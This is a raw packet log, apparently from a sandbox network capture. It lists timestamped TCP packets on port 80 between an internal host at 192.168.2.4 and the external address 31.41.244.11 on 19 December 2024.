Dec 19, 2024 06:09:43.495629072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.495686054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.495749950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.495805025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.496758938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.496814966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.496834040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.496881962 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.497802019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.497853994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.497889042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.497947931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.498922110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.498975039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.498974085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.499020100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.499970913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.500020981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.500063896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.500124931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.501068115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.501197100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.501244068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.502145052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.502197981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.502264023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.502319098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.503262043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.503335953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.503348112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.503401041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.504363060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.504492044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.504578114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.505424976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.505484104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.505547047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.505692005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.506524086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.506592035 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.506664991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.506714106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.507960081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.508013964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.508075953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.508128881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.508642912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.508692980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.643446922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.643563032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.643568993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.643620968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.644048929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.644095898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.644104004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.644153118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.645103931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.645204067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.645220041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.645243883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.646156073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.646209002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.646248102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.646614075 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.647290945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.647355080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.647414923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.647464037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.648329973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.648475885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.648487091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.648519039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.649431944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.649487972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.649564028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.649620056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.650533915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.650636911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.650665998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.650712967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.651611090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.651659966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.651720047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.651762009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.652699947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.652815104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.652874947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.653840065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.653899908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.653950930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.654015064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.654882908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.654983044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.655014038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.655049086 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.655986071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.656039953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.656096935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.656150103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.657053947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.657108068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.657181978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.657233000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.658181906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.658233881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.658237934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.658279896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.659236908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.659286976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.659360886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.659430027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.660340071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.660388947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.660463095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.661400080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.661465883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.661510944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.661566973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.662504911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.662631035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.662684917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.663629055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.663680077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.663717031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.663774967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.664674044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.664796114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.664853096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.665793896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.665858030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.665894985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.665982008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.666840076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.666903019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.666964054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.667062044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.667947054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.668061972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.668113947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.669008017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.669070959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.669146061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.669207096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.670124054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.670181036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.670238018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.670312881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.671228886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.671289921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.671344995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.671395063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.672317982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.672373056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.672424078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.672472954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.673386097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.673425913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.673499107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.673549891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.674510956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.674582005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.674644947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.675570965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.675698042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.675700903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.675748110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.676670074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.676791906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.676843882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.677831888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.677887917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.677948952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.678006887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.678864002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.678978920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.679039001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.679929018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.679990053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.680051088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.680124044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.681019068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.681075096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.681133986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.681348085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.682107925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.682163000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.682220936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.683191061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.683240891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.683310986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.683373928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.684295893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.684345007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.684420109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.684477091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.685386896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.685440063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.685498953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.685798883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.686463118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.686588049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.686642885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.687576056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.687628031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.687668085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.687719107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.688677073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.688734055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.688766956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.688817024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.689722061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.689779997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.689841032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.690030098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.690831900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.690891027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.690941095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.690994024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.691921949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.692048073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.692100048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.693022966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.693073988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.693125963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.693176985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.694159031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.694252014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.694299936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.694349051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.695203066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.695347071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.695400000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.696269989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.696311951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.696387053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.696443081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.697360992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.697412968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.697470903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.697592020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.698443890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.698496103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.698554993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.698604107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.699565887 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.699667931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.699687004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.700032949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.700568914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.700620890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.835299969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.835417032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.835475922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.835896015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.835951090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.835952044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.835994959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.836697102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.836745977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.836812973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.836859941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.837824106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.837872982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.837919950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.837970972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.838371992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.838480949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.838526964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.839488029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.839540958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.839610100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.839658022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.840565920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.840686083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.840723038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.840739965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.841645956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.841758966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.841808081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.842726946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.842782021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.842844963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.842896938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.843838930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.843884945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.843966961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.844017982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.844904900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.844957113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.845033884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.845083952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.846018076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.846071005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.846111059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.846160889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.847091913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.847239017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.847256899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.847294092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.848233938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.848310947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.848315954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.848362923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.849277973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.849337101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.849364996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.849415064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.850363016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.850413084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.850474119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.850521088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.851449966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.851496935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.851577044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.851624966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.852545977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.852592945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.852669001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.852716923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.853651047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.853698969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.853739023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.853785038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.854728937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.854818106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.854866028 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.855820894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.855869055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.855926991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.855971098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.856904984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.856940985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.856955051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.856987000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.858000994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.858047009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.858120918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.858165026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:43.859375954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:43.859426022 CET	49838	80	192.168.2.4	31.41.244.11
